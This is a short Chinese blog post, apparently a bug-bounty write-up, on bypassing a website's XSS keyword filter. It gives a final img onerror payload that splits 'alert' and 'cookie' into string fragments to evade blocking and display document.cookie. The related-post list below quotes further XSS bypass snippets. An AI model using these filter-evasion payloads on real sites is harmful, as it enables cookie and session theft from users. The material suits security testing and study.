14.xss之alert绕过&cookie绕过

已于 2022-06-05 01:21:44 修改
阅读量4.5k 收藏 1
点赞数 1
分类专栏： SRC挖掘 文章标签： xss web安全 安全
于 2021-12-25 19:52:55 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xiru9972/article/details/122147376
版权

前言

该篇记录为记录实际的src过程第14篇小文章，内容为某网站的xssbypass。

XSS 特征

拦截了常见的alert和prompt，大小写无法绕过，eval无法绕过，alert.call无法绕过

xss绕过

  1. alert用top[‘ale’+‘rt’]绕过
  2. alert()用top[‘ale’+‘rt’].call绕过
  3. cookie用document[变量]绕过

最终payload

<img src=\"x\" onerror=\"c='coo'+'kie';top['ale'+'rt'].call(null,document[c])\">
_HWHXY
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
XSS的一些绕过手法
qq_30787769的博客
12-09 1572
注:XSS我没有实战研究过所以大多都是靶场用的手法和别人的一些文章,可能实战的时候效果不好 1.绕过简单的xss防护 1.如果双引号被禁用就用单引号。 2.针对黑名单过滤，过滤一般不全，在过滤了img还有input或者div 3.过滤了onclik，onmouseover，可以尝试冷门的事件触发onmouseenter（注意冷门最好） 4.过滤了（）可以尝试（），过滤了‘可以尝试反引号，这个是反引...
【无标题】xss短域名绕过字符长度限制以及执行弹窗的原理
m0_52813136的博客
07-26 636
XSS短域名绕过及弹窗的原理
XSS绕过技术
10-11
Cross-Site Scripting（XSS）绕过技术，来自论坛:法克论坛，作者:bystand
XSS攻击绕过方法大全，XSS攻击技巧，收集100种绕过方法分享（2024最新）
白帽黑客八哥的博客
12-12 4543
尽管许多网站实施了输入过滤措施来防止跨站脚本（XSS）攻击，但在特定条件下，经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。
Xss漏洞常见绕过过滤攻击场景
最新发布
chaottop的博客
05-04 1432
在某些情况下，后台作的过滤非常简单，只对一些特殊的字符串作黑名单过滤，导致可直接通过字母大小写绕过后台的过滤。如下例子
XSS绕过和防御总结
m0_72324809的博客
04-30 691
<a xlink:href= javascript:alert(1)>1</a>
【xss攻击】基础篇
ssrf
12-03 610
目录0x001 反射型(get)0x002 反射型(post）0x003 存储型xss0x004 DOM型xss0x005 DOM型xss-x0x006 xss之盲打0x007 xss之过滤0x008 xss之htmlspecialchars0x009 xss之href输出0x0010 xss之js输出 以下实验环境：本地搭建靶场pikachu 0x001 反射型(get) payload <script>alert(/xss/)</script> 0x002 反射型(pos
3-10xss绕过思路讲解和案例演示
山兔的博客
04-28 596
XSS绕过-过滤-转换 因为在我们的实际测试过程中，有很多安全系统或多或少，会去做一些安全措施，但是，这些措施，有可能会因为程序员逻辑不够严谨，或者他使用的方法是错的，保证了他的措施起到了一部分作用，但是还是可以被绕过的 0，前端限制绕过，直接抓包重放，或者修改html前端代码 我们的安全措施不要在前端去做，比如输入字符长度限制，这样也引申出一个思想，我们所有的安全措施，永远不要放在前端去做，前端会通过js，会通过属性，起到安全的辅助措施，但是本质上是没有作用的 1.大小写，比如：<SCRIPT&g
XSS(跨站脚本攻击)详解
hello
07-02 3775
XSS简述-XSS类型-XSS常用标签
xss(跨站攻击)
m0_74456293的博客
03-20 2512
xss（跨站攻击）
第十二节 XSS 过滤器绕过-01
09-15
XSS 过滤器绕过技术详解 XSS（Cross-Site Scripting，跨站脚本攻击）是一种常见的 Web 应用程序安全漏洞，攻击者可以通过插入恶意脚本来盗取用户信息、破坏网站操作等。为防止 XSS 攻击，开发者通常会使用 XSS 过滤...
XSS三重URL编码绕过实例.pdf
04-22
价值5999，vip免费阅读，可用于实战拟态，渗透测试学习，资源复现，红蓝对抗，攻防打点，漏洞复现，技术考证、权限维持，应急响应，Hvv实战
记录几种XSS绕过方式1
08-03
本文主要记录了几种XSS绕过的方法，帮助开发者理解攻击者可能使用的技巧，提高网站的安全性。 1. 服务端全局替换为空的特性： 当网站的过滤机制将某些特定字符如"onerror"或"script"替换为空时，攻击者可以利用...
XSSBypass:XSS绕过技术
05-17
XSS绕过 XSS绕过技术，带来乐趣和收益。 尝试使用XSS漏洞逐行绕过Web应用程序安全性XSS过滤器。
XSS 常用标签及绕过姿势总结
hackzkaq的博客
08-17 5387
A位置可填充 /，/123/，%09，%0A，%0C，%0D，%20 B位置可填充 %09，%0A，%0C，%0D，%20 C位置可填充 %0B，/**/，如果加了双引号，则可以填充 %09，%0A，%0C，%0D，%20 D位置可填充 %09，%0A，%0C，%0D，%20，//，>例如 javascript:alert(1) ，进行 Unicode 编码时，只能对 alert 和 “1” 进行编码，框号编码后会被当成文本字符，不能执行。...
【XSS漏洞-03】XSS漏洞语句构造和绕过方法实例
m0_64378913的博客
05-14 4093
目录1 XSS语句构造方式1.1 第一种：利用[<>]构造HTML/JS语句1.2 第二种：利用javascript:伪协议1.3 第三种：事件驱动1.4 第四种：利用CSS（层叠样式脚本）1.5 其他标签及手法2 XSS语句变形及绕过2.1 第一种：大小写混编2.2 第二种：**双写绕过**。2.3 第三种：**引号的使用**2.4 第四种：使用 [/] 代替空格2.5 第五种：在一些关键字内插入回车符与Tab符2.6 第六种：编码绕过2.7 第七种：拆分跨站2.8
XSS篇——XSS过滤绕过技巧
weixin_50464560的博客
05-07 3492
无意中发现了一个巨牛巨牛的人工智能教程，忍不住分享一下给大家。教程不仅是零基础，通俗易懂，小白也能学，而且非常风趣幽默，还时不时有内涵段子，像看小说一样，哈哈～我正在学习中，觉得太牛了，所以分享给大家。点这里可以跳转到教程！ 改变大小写 在测试过程中，我们可以改变测试语句的大小写来绕过XSS规则： 比如：<script>alert(“xss”);</script>可以...
XSS小总结
孤的博客
10-02 467
原理 开发者在开发时，对客户端过滤严格，导致恶意的javascript代码在浏览器上执行 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过用户本地浏览器执行的，所以xss漏洞关键就是寻找参数未过滤的...
一段有趣的Javascript代码及分析
iteye_1858的博客
03-08 308
在2011年的BlackHat DC 2011大会上Ryan Barnett给出了一段关于XSS的示例javascript代码： [code="javascript"] ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) [/cod...
3. XSS事件触发绕过
08-03
XSS事件触发绕过是指绕过XSS防御机制，成功触发XSS攻击。根据引用[1]和引用[2]的内容，可以得出一些绕过XSS防御的方法。其中一种方法是改变请求方式，将POST请求改为GET请求，然后通过访问URL来执行恶意代码。另一种方法是绕过输入过滤的黑名单，尝试各种绕过方法。引用[3]中提到，XSS防御的基本原则是在输出时进行处理和编码，无论输入是恶意的还是正常的，都进行全盘接收，但在输出显示时进行实体化编码输出，这样即使输入是恶意的也不会执行。因此，通过绕过输出处理和编码的机制，可能会成功触发XSS攻击。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值